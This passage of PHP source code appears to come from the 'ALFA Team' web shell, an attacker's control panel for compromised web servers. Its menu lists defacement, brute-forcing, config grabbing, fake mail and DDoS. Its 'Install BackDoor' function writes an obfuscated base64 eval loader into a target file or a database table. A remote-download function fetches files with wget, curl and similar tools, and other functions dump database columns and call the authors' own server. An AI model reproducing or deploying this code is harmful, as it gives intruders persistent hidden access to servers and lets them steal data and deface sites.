  1203. <td colspan="2"><span id="header_cwd">'.$cwd_links.' </span><a href="#action=fileman&path='.$GLOBALS['home_cwd'].'" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
  1204. </tr>
  1205. </table>
  1206. </div>
  1207. <div id="meunlist">
  1208. <ul>
  1209. ';
  1210. $li = array('proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Database Dumper','coldumper'=>'Column Dumper','hash'=>'En-Decoder','connect'=>'BC',
  1211. 'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools',
  1212. 'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','deziper'=>'DeCompressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors',
  1213. 'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher','config_grabber'=>'Config Grabber','fakepage'=>'Fake Page','archive_manager'=>'Archive Manager',
  1214. 'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','selfrm'=>'Remove Shell'
  1215. );
  1216. foreach($li as $key=>$value){
  1217. echo('<li><a id="menu_opt_'.$key.'" href="#action=options&path='.$GLOBALS['cwd'].'&opt='.$key.'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt='.$key.'\';g(\''.$key.'\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">'.$value.'</a></li>'."\n");
  1218. }
  1219. echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path='.$GLOBALS['cwd'].'&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path='.$GLOBALS['cwd'].'&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path='.$GLOBALS['cwd'].'&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>'.(!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>':'').'</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="'.$GLOBALS['cwd'].'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';}else{
  1220. @error_reporting(E_ALL ^ E_NOTICE);
  1221. @ini_set('error_log',NULL);
  1222. @ini_set('log_errors',0);
  1223. @ini_set('max_execution_time',0);
  1224. @ini_set('magic_quotes_runtime', 0);
  1225. @set_time_limit(0);
  1226. }}
  1227. function alfalogout(){
  1228. @setcookie("AlfaUser", null, 2012);
  1229. @setcookie("AlfaPass", null, 2012);
  1230. unset($_COOKIE['AlfaUser'],$_COOKIE['AlfaPass']);
  1231. echo("ok");
  1232. }
  1233. function showAnimation($name){
  1234. return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';
  1235. }
  1236. function __showicon($r){
  1237. $s['btn']='http://solevisible.com/images/btn.png';
  1238. $s['alfamini']='http://solevisible.com/images/alfamini.png';
  1239. $s['loader']='http://solevisible.com/images/loader.svg';
  1240. //return 'data:image/png;base64,'.__get_resource($s[$r]);
  1241. return $s[$r];
  1242. }
  1243. function alfainbackdoor(){
  1244. alfahead();
  1245. echo '<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'file\')">| In File | </a><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'db\')">| In DataBase | </a></h3></center>';
  1246. $error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
  1247. $success= '<font color="green">Success...!';
  1248. $textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
  1249. $select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
  1250. $cwd = 'Example: /home/alfa/public_html/index.php';
  1251. if($_POST['alfa1']=='file'){
  1252. echo("<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\">{$select} <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='{$cwd}'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '>{$textarea}</form></p></center>");
  1253. if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa4']!=''){
  1254. $method = $_POST['alfa2'];
  1255. $file = $_POST['alfa3'];
  1256. $shell = $_POST['alfa4'];
  1257. $key = str_replace(array('"','\''),'',trim($_POST['alfa5']));
  1258. if($key=='')$key='alfa';
  1259. if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
  1260. $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x("'.$shell.'");exit;}?>';
  1261. if(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}
  1262. if($_POST['alfa1']=='db'){
  1263. echo("<center><p><div class='txtfont_header'>| In DataBase |</div></p>".getConfigHtml('all')."<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">");
  1264. $table = array('td1' =>
  1265. array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  1266. 'td2' =>
  1267. array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  1268. 'td3' =>
  1269. array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  1270. 'td4' =>
  1271. array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  1272. 'td5' =>
  1273. array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true),
  1274. 'td6' =>
  1275. array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50')
  1276. );
  1277. create_table($table);
  1278. echo("<p>{$select}</p>");
  1279. echo($textarea);
  1280. echo("<p><input type='submit' value=' '></p></form></p></center>");
  1281. if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa5']!=''&&$_POST['alfa6']!=''){
  1282. $dbhost = $_POST['alfa2'];
  1283. $dbuser = $_POST['alfa3'];
  1284. $dbpw = $_POST['alfa4'];
  1285. $dbname = $_POST['alfa5'];
  1286. $file = $_POST['alfa6'];
  1287. $method = $_POST['alfa7'];
  1288. $shell = $_POST['alfa8'];
  1289. $key = str_replace(array('"','\''),'',trim($_POST['alfa9']));
  1290. if($key=='')$key='alfa';
  1291. if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
  1292. if($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){
  1293. $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$conn=mysqli_connect("'.str_replace('"','\"',$dbhost).'","'.str_replace('"','\"',$dbuser).'","'.str_replace('"','\"',$dbpw).'","'.str_replace('"','\"',$dbname).'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>';
  1294. if(@is_file($file)&&@is_writable($file)){
  1295. @mysqli_query($conn,'DROP TABLE `alfa_bc`');
  1296. @mysqli_query($conn,'CREATE TABLE `alfa_bc` (code LONGTEXT)');
  1297. @mysqli_query($conn,'INSERT INTO `alfa_bc` VALUES("'.$shell.'")');
  1298. @file_put_contents($file,$code."\n".@file_get_contents($file));
  1299. __alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}}
  1300. echo('</div>');
  1301. alfafooter();
  1302. }
  1303. function alfawhois(){
  1304. echo("<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>");
  1305. if($_POST['alfa2']=='>>'&&!empty($_POST['alfa1'])){
  1306. $site = str_replace(array('http://','https://','www.','ftp://'),'',$_POST['alfa1']);
  1307. $target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain='.$site;
  1308. $data = @file_get_contents($target);
  1309. if($data==''){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}
  1310. $target = @json_decode($data,true);
  1311. echo __pre();
  1312. if(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}
  1313. echo("</div>");
  1314. }
  1315. function alfaremotedl(){
  1316. alfahead();
  1317. echo("<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>
  1318. <form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">
  1319. <p><div class='txtfont'>Url: </div>&nbsp;&nbsp;&nbsp;<input type='text' name='d' size='50'></p>
  1320. <div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='".$GLOBALS['cwd']."'><p><input type='submit' value=' '></p>
  1321. </form></p></center>");
  1322. if(isset($_POST['alfa1'],$_POST['alfa2'],$_POST['alfa3'])&&!empty($_POST['alfa1'])&&$_POST['alfa3']=='>>'){
  1323. echo __pre();
  1324. $url = $_POST['alfa1'];
  1325. $path = $_POST['alfa2'];
  1326. echo('<center>');
  1327. if(__download($url,$path)){
  1328. echo('<font color="green">Success...!</font>');
  1329. }else{
  1330. echo('<font color="red">Error...!</font>');
  1331. }
  1332. echo('</center>');
  1333. }
  1334. echo("</div>");
  1335. alfafooter();
  1336. }
  1337. function __download($url,$path=false){
  1338. if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
  1339. $saveas = basename(rawurldecode($url));
  1340. if($path){$saveas=$path.$saveas;}
  1341. if($content = __read_file($url)){
  1342. if(@is_file($saveas))@unlink($saveas);
  1343. if(__write_file($saveas, $content)){return true;}}
  1344. $buff = alfaEx("wget ".$url." -O ".$saveas);
  1345. if(@is_file($saveas)) return true;
  1346. $buff = alfaEx("curl ".$url." -o ".$saveas);
  1347. if(@is_file($saveas)) return true;
  1348. $buff = alfaEx("lwp-download ".$url." ".$saveas);
  1349. if(@is_file($saveas)) return true;
  1350. $buff = alfaEx("lynx -source ".$url." > ".$saveas);
  1351. if(@is_file($saveas)) return true;
  1352. $buff = alfaEx("GET ".$url." > ".$saveas);
  1353. if(@is_file($saveas)) return true;
  1354. $buff = alfaEx("links -source ".$url." > ".$saveas);
  1355. if(@is_file($saveas)) return true;
  1356. $buff = alfaEx("fetch -o ".$saveas." -p ".$url);
  1357. if(@is_file($saveas)) return true;
  1358. return false;
  1359. }
  1360. function clean_string($string){
  1361. if(function_exists("iconv")){
  1362. $s = trim($string);
  1363. $s = iconv("UTF-8", "UTF-8//IGNORE", $s);
  1364. }
  1365. return $s;
  1366. }
  1367. function __read_file($file, $boom = true){
  1368. $content = false;
  1369. if($fh = @fopen($file, "rb")){
  1370. $content = "";
  1371. while(!feof($fh)){
  1372. $content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
  1373. }
  1374. @fclose($fh);
  1375. }
  1376. if(empty($content)||!$content){
  1377. $content = alfaEx("cat '".addslashes($file)."'");
  1378. }
  1379. return $content;
  1380. }
  1381. function alfaMarket(){
  1382. echo "<div class='header'>";
  1383. $curl = new AlfaCURL();
  1384. $content = $curl->Send("http://solevisible.com/market.php");
  1385. $data = @json_decode($content, true);
  1386. if(!empty($data)){
  1387. if($data["status"] == "open"){
  1388. echo $data["content"];
  1389. }else{
  1390. echo $data["error_msg"];
  1391. }
  1392. }else{
  1393. echo "<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.</div>";
  1394. }
  1395. echo "</div>";
  1396. }
  1397. function alfaSettings(){
  1398. alfahead();
  1399. AlfaNum(6,7,8,9,10);
  1400. echo '<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'main\')">| Generall Setting | </a></h3></center>';
  1401. if($_POST["alfa8"] == "main"){
  1402. echo '<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\'post\'>';
  1403. $lg_array = array('0'=>'No','1'=>'Yes');
  1404. $penc_array = array('false'=>'No','true'=>'Yes');
  1405. $protect_html = "";
  1406. $icon_html = "";
  1407. $postEnc_html = "";
  1408. $login_html = "";
  1409. $cgiapi_html = "";
  1410. foreach($lg_array as $key=>$val)$protect_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['safemode']=='1'?'selected':'').'>'.$val.'</option>';
  1411. foreach($lg_array as $key=>$val)$icon_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['show_icons']=='1'?'selected':'').'>'.$val.'</option>';
  1412. foreach($penc_array as $key=>$val)$cgiapi_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa9'])&&$_POST['alfa9']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST['alfa9'])?'selected':'')).'>'.$val.'</option>';
  1413. foreach($penc_array as $key=>$val)$postEnc_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa7'])&&$_POST['alfa7']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST['alfa7'])?'selected':'')).'>'.$val.'</option>';
  1414. $lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");
  1415. foreach($lg_array as $key=>$val)$login_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['login_page']==$key?'selected':'').'>'.$val.'</option>';
  1416. echo '';
  1417. echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">'.$protect_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">'.$cgiapi_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">'.$postEnc_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">'.$icon_html.'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">'.$login_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="'.(empty($_POST['alfa3'])?$GLOBALS['DB_NAME']['user']:$_POST['alfa3']).'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="'.$GLOBALS['DB_NAME']['safemode'].'"><input type="hidden" name="s" value="'.$GLOBALS['DB_NAME']['show_icons'].'"><p><input type="submit" name="btn" value=" "></p></form></center>';
  1418. if($_POST['alfa5']=='>>'){
  1419. echo __pre();
  1420. if(!empty($_POST['alfa3'])){
  1421. $protect = $_POST['alfa1'];
  1422. $lgpage = $_POST['alfa2'];
  1423. $username = $_POST['alfa3'];
  1424. $password = md5($_POST['alfa4']);
  1425. $icon = $_POST['alfa6'];
  1426. $post_encrypt = $_POST['alfa7'];
  1427. $cgi_api_val = $_POST['alfa9'];
  1428. @chdir($GLOBALS['home_cwd']);
  1429. $basename = @basename($_SERVER['PHP_SELF']);
  1430. $data = @file_get_contents($basename);
  1431. $user_rand = $GLOBALS["DB_NAME"]["user_rand"];
  1432. $pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
  1433. $login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
  1434. $safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
  1435. $show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
  1436. $post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
  1437. $cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
  1438. $find_user = '/\''.$user_rand.'\'(.*?),/i';
  1439. $find_pw = '/\''.$pass_rand.'\'(.*?),/i';
  1440. $find_lg = '/\''.$login_page_rand.'\'(.*?),/i';
  1441. $find_p = '/\''.$safemode_rand.'\'(.*?),/i';
  1442. $icons = '/\''.$show_icons_rand.'\'(.*?),/i';
  1443. $postEnc = '/\''.$post_encryption_rand.'\'(.*?),/i';
  1444. $cgi_api_reg = '/\''.$cgi_api_rand.'\'(.*?),/i';
  1445. if(!empty($username)&&preg_match($find_user,$data,$e)){
  1446. $new = '\''.$user_rand.'\' => \''.$username.'\',';
  1447. $data = str_replace($e[0],$new,$data);
  1448. }
  1449. if(!empty($_POST['alfa4'])&&preg_match($find_pw,$data,$e)){
  1450. $new = '\''.$pass_rand.'\' => \''.$password.'\',';
  1451. $data = str_replace($e[0],$new,$data);
  1452. }
  1453. if(!empty($lgpage)&&preg_match($find_lg,$data,$e)){
  1454. $new = '\''.$login_page_rand.'\' => \''.$lgpage.'\',';
  1455. $data = str_replace($e[0],$new,$data);
  1456. }
  1457. if(!empty($find_p)&&preg_match($find_p,$data,$e)){
  1458. $new = '\''.$safemode_rand.'\' => \''.$protect.'\',';
  1459. $data = str_replace($e[0],$new,$data);
  1460. }
  1461. if(preg_match($icons,$data,$e)){
  1462. $new = '\''.$show_icons_rand.'\' => \''.$icon.'\',';
  1463. $data = str_replace($e[0],$new,$data);
  1464. }
  1465. if(preg_match($postEnc,$data,$e)){
  1466. $new = '\''.$post_encryption_rand.'\' => '.$post_encrypt.',';
  1467. $data = str_replace($e[0],$new,$data);
  1468. }
  1469. if(preg_match($cgi_api_reg,$data,$e)){
  1470. $new = '\''.$cgi_api_rand.'\' => '.$cgi_api_val.',';
  1471. $data = str_replace($e[0],$new,$data);
  1472. }
  1473. if(@file_put_contents($basename,$data)){
  1474. echo '<b>UserName: </b><font color="green"><b>'.$username.'</b></font><br /><b>Password: </b><font color="green"><b>'.$_POST['alfa4'].'</b></font><script>post_encryption_mode = '.$post_encrypt.';</script>';
  1475. }else{
  1476. __alert("<span style='color:red;'>File has no edit access...!</span>");
  1477. }
  1478. }else{
  1479. __alert("<span style='color:red;'>UserName is Empty !</span>");
  1480. }
  1481. }
  1482. }elseif($_POST["alfa8"] == "color"){
  1483. echo('<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\'post\'>');
  1484. echo '<table border="1"><tbody>';
  1485. $template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
  1486. $x = 1;
  1487. foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
  1488. $multi = "";
  1489. if(is_array($value)){
  1490. if(isset($value["multi_selector"])){
  1491. $multi = __ZW5jb2Rlcg(json_encode($value));
  1492. }
  1493. }
  1494. $value = alfa_getColor($key);
  1495. $help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
  1496. echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
  1497. }
  1498. echo '<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>';
  1499.  
  1500. echo '</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\'importFileBtn\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\'settings\',null,null,null,null,null,null,null,\'export\',\'color\')" class="button"> Export </button></center></p>';
  1501. if($_POST['alfa7']=='export'){
  1502. echo __pre();
  1503. $colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();
  1504. $glob_colors = $GLOBALS["__ALFA_COLOR__"];
  1505. $array = array();
  1506. foreach($glob_colors as $k => $v){
  1507. if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
  1508. $v = trim($colors[$k]);
  1509. }else{
  1510. $v = trim(is_array($v)?$v["key_color"]:$v);
  1511. }
  1512. $array[$k] = $v;
  1513. }
  1514. $file = "alfa_color_config_".date('Y-m-d-h_i_s').".conf";
  1515. $config = json_encode($array, JSON_PRETTY_PRINT);
  1516. if(!@file_put_contents($file, $config)){
  1517. echo('<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">'.$config.'</textarea></center></p>');
  1518. }else{
  1519. echo('<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$file.'\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>');
  1520. }
  1521. }
  1522. if($_POST['alfa2']=='>>'){
  1523. echo __pre();
  1524. $colors = json_decode($_POST["alfa1"],true);
  1525. $array = "";
  1526. $is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;
  1527. $glob_colors = $GLOBALS["__ALFA_COLOR__"];
  1528. foreach($glob_colors as $k => $v){
  1529. if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
  1530. $v = trim($colors[$k]);
  1531. }else{
  1532. $v = trim(is_array($v)?$v["key_color"]:$v);
  1533. }
  1534. $array .= '"'.trim($k).'" => "'.$v.'",';
  1535. }
  1536. @chdir($GLOBALS['home_cwd']);
  1537. $basename = @basename($_SERVER['PHP_SELF']);
  1538. $data = @file_get_contents($basename);
  1539. $color = '/\'color\'(.*?)\),/s';
  1540. if(preg_match($color,$data,$e)){
  1541. $new = "'color' => array(".$array."),";
  1542. $data = str_replace($e[0],$new,$data);
  1543. if(@file_put_contents($basename, $data)){
  1544. echo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");
  1545. }else{
  1546. echo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");
  1547. }
  1548. }else{
  1549. echo("<center><p><h3>[-] Error...!</h3></p></center>");
  1550. }
  1551. }
  1552. }
  1553. echo('</div>');
  1554. alfafooter();
  1555. }
  1556. function alfaaboutus(){
  1557. alfahead();
  1558. echo '<div class="header">';
  1559. $news = new AlfaCURL();
  1560. $about_us = $news->Send("http://solevisible.com/aboutus.php");
  1561. if(empty($about_us)){
  1562. $about_us = "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>
  1563. <b><font size='+3' color='#00A220'>&#9774; ~ PEACE ~ &#9774;</font><br><b>
  1564. <font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>
  1565. <font color='#00A220'>Contact : solevisible@gmail.com</font><br>
  1566. <font color='#00A220'>Telegram Channel: @solevisible</font><br>
  1567. <font color='#FFFFFF'>Skype : ehsan.invisible</font><br>
  1568. <font color='#FFFFFF'>Skype : sole.sad</font><br>
  1569. <font color='#FF0000'>Persian Gulf For Ever</font><br>
  1570. <font color='#FF0000'>Iranian Programmers</font><br>
  1571. <font color='#FF0000'>############</font><br>
  1572. </center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
  1573. }
  1574. echo __pre().$about_us;
  1575. echo('</div>');
  1576. alfafooter();
  1577. }
  1578. function alfacoldumper(){
  1579. alfahead();
  1580. echo('<div class="header">');
  1581. AlfaNum(8,9,10);
  1582. echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if($('dumper-delimiter-type').value == 'delimiter')delimiter=$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
  1583. $delimiter = (!empty($_POST['alfa1']) ? $_POST['alfa1'] : '::');
  1584. $selected_data = json_decode($_POST['alfa2'], true);
  1585. $username = ($_POST['alfa3']);
  1586. $password = ($_POST['alfa4']);
  1587. $dbname = ($_POST['alfa5']);
  1588. $dfile = ($_POST['alfa6']);
  1589. $host = ($_POST['alfa7']);
  1590. $table = array('td1' =>
  1591. array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'),
  1592. 'td2' =>
  1593. array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'),
  1594. 'td3' =>
  1595. array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'),
  1596. 'td4' =>
  1597. array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'),
  1598. 'td5' =>
  1599. array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50')
  1600. );
  1601. create_table($table);
  1602. echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
  1603. $db = false;
  1604. if(!empty($dbname)){
  1605. $db = @mysqli_connect($host, $username, $password, $dbname);
  1606. }
  1607. if(count($selected_data) > 0){
  1608. if($db){
  1609. if(!is_dir($dfile)){
  1610. $dfile = $GLOBALS['cwd'];
  1611. }
  1612. $tbls = "";
  1613. $ext = '.txt';
  1614. if($delimiter == 'json'){
  1615. $ext = '.json';
  1616. }
  1617. foreach ($selected_data as $tbl => $cols) {
  1618. $tables_query = mysqli_query($db, "SELECT ".implode(',', $cols)." FROM $tbl");
  1619. $file_name = $dfile.'/'.$dbname.'.'.$tbl.$ext;
  1620. $fp = fopen($file_name, "w");
  1621. $data = array();
  1622. while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
  1623. if($delimiter == "json"){
  1624. $col_arr = array();
  1625. foreach ($row as $key => $value) {
  1626. if(empty($value)){
  1627. $value = "[empty]";
  1628. }
  1629. $col_arr[$key] = $value;
  1630. }
  1631. $data[$tbl][] = $col_arr;
  1632. }else{
  1633. $data = "";
  1634. foreach ($row as $key => $value) {
  1635. if(empty($value)){
  1636. $value = "[empty]";
  1637. }
  1638. $data .= $value . $delimiter;
  1639. }
  1640. fwrite($fp, $data ."\n");
  1641. }
  1642. }
  1643. if($delimiter == "json"){
